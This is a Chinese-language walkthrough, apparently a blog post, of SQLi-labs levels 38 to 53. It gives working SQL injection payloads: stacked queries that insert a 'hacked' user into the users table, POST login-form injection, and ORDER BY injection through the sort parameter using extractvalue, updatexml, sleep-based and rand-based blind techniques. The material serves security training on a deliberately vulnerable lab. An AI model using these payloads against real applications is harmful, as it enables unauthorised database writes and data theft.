文章目录
前言
常见堆叠注入语句
INSERT INTO `TABLE` (COL1, COL2, ...) VALUES (VAL1, VAL2, ...)
UPDATE `TABLE` SET COL1=VAL1,COL2=VAL2, ...
CREAT TABLE `TABLE`
布尔盲注补充
注入点是ORDER BY X
,整型
[GET]PAYLOAD:
?sort=rand(if(ascii(substr((select database()),1,1)))=115)
将布尔值作为随机种子,生成随机数排序,排序结果不同的即为True
题解
Less-38
目标是利用堆叠注入新建一个用户
闭合单引号
要新建用户,得向用户表INSERT INTO
账号密码
尝试发现:联合查询可以使用
[GET]PAYLOAD:
?id=0' union select 1,2,3;--+
利用联合查询爆用户表和列名
接着进行堆叠注入
[GET]PAYLOAD:
?id=0';insert into `users` (id,username,password) values ('38','hacked','hacked'); --+
输入?id=38
验证,成功写入新用户
Less-39
整型
[GET]PAYLOAD:
?id=0;insert into `users` (id,username,password) values ('39','hacked','hacked'); --+
Less-40
提示盲注,字符型
先试试Less-38的payload,发现没反应;换成双引号依旧没反应
最后发现:这里需要闭合一个右括号、单引号
[GET]PAYLOAD:
?id=0');insert into `users` (id,username,password) values ('40','hacked','hacked'); --+
Less-41
同Less-39
[GET]PAYLOAD:
?id=0;insert into `users` (id,username,password) values ('41','hacked','hacked'); --+
Less-42
界面是一个登录框,先查清是如何登录的,看看F12,原来是POST
[POST]PAYLOAD:
login_user=admin&login_password=1&mysubmit=Login
找一找登录框有没有注入点
[POST]PAYLOAD:
login_user=admin'&login_password=1&mysubmit=Login
[POST]PAYLOAD:
login_user=admin&login_password=1'&mysubmit=Login
发现密码框有注入点,单引号字符型
进行堆叠注入,新建用户
[POST]PAYLOAD:
login_user=admin&login_password=1';insert into `users` (id,username,password) values ('42','hacked','hacked'); --+&mysubmit=Login
此时成功登入admin账号,另外新建的账号也可以使用
Less-43
报错,提示闭合括号
[POST]PAYLOAD:
login_user=admin&login_password=1'&mysubmit=Login
完成注入
[POST]PAYLOAD:
login_user=admin&login_password=1');insert into `users` (id,username,password) values ('43','hacked','hacked'); --+&mysubmit=Login
Less-44
盲注,增加了WAF,猜测注入点还是在密码框
用sleep测试,果然有注入点
[POST]PAYLOAD:
login_password=1'||sleep(5);--+&login_user=admin&mysubmit=Login
本以为这里要用or完成堆叠注入,尝试发现行不通
还是用分号间隔完成注入
[POST]PAYLOAD:
login_user=admin&login_password=1';insert into `users` (id,username,password) values ('44','hacked','hacked'); --+&mysubmit=Login
Less-45
闭合单引号和括号
[POST]PAYLOAD:
login_password=1')||sleep(5);--+&login_user=admin&mysubmit=Login
完成注入
[POST]PAYLOAD:
login_user=admin&login_password=1');insert into `users` (id,username,password) values ('45','hacked','hacked'); --+&mysubmit=Login
Less-46
进入船新版本的堆叠注入:
参数变成了sort
,值为排序依据的列
目标表只有三列,当输入?sort=4
时抛出错误,因此可以断定:这里的值传给了ORDER BY
,后面接AND
、OR
可以进行注入,整型
通过设置降序验证了猜想
[GET]PAYLOAD:
?sort=1 desc
找到
注入点后,进行布尔盲注、时间盲注和报错注入均可
[GET]PAYLOAD:
?sort=1||extractvalue(1,concat(0x5c,database()));--+
[GET]PAYLOAD:
?sort=1||updatexml(1,concat(0x7e,database(),0x7e),1);--+
[GET]PAYLOAD:
?sort=1 and if(ascii(substr(database(),1,1))=115,sleep(5),0);--+
[GET]PAYLOAD:
?sort=rand((ascii(substr((select database()),1,1)))=115);--+
Less-47
单引号闭合,报错注入、时间盲注
[GET]PAYLOAD:
?sort=1'||extractvalue(1,concat(0x5c,database()));--+
[GET]PAYLOAD:
?sort=1'||updatexml(1,concat(0x7e,database(),0x7e),1);--+
[GET]PAYLOAD:
?sort=1' and if(ascii(substr(database(),1,1))=115,sleep(5),0);--+
Less-48
没有回显,整型,可以时间盲注、布尔盲注,整型
[GET]PAYLOAD:
?sort=1 and if(ascii(substr(database(),1,1))=115,sleep(5),0);--+
[GET]PAYLOAD:
?sort=rand((ascii(substr((select database()),1,1)))=115);--+
Less-49
没有回显,单引号闭合,只能时间盲注了
[GET]PAYLOAD:
?sort=1' and if(ascii(substr(database(),1,1))=115,sleep(5),0);--+
Less-50
同Less-48
[GET]PAYLOAD:
?sort=1 and if(ascii(substr(database(),1,1))=115,sleep(5),0);--+
[GET]PAYLOAD:
?sort=rand((ascii(substr((select database()),1,1)))=115);--+
Less-51
同Less-49
[GET]PAYLOAD:
?sort=1' and if(ascii(substr(database(),1,1))=115,sleep(5),0);--+
Less-52
同Less-48
[GET]PAYLOAD:
?sort=1 and if(ascii(substr(database(),1,1))=115,sleep(5),0);--+
[GET]PAYLOAD:
?sort=rand((ascii(substr((select database()),1,1)))=115);--+
Less-53
同Less-49
[GET]PAYLOAD:
?sort=1' and if(ascii(substr(database(),1,1))=115,sleep(5),0);--+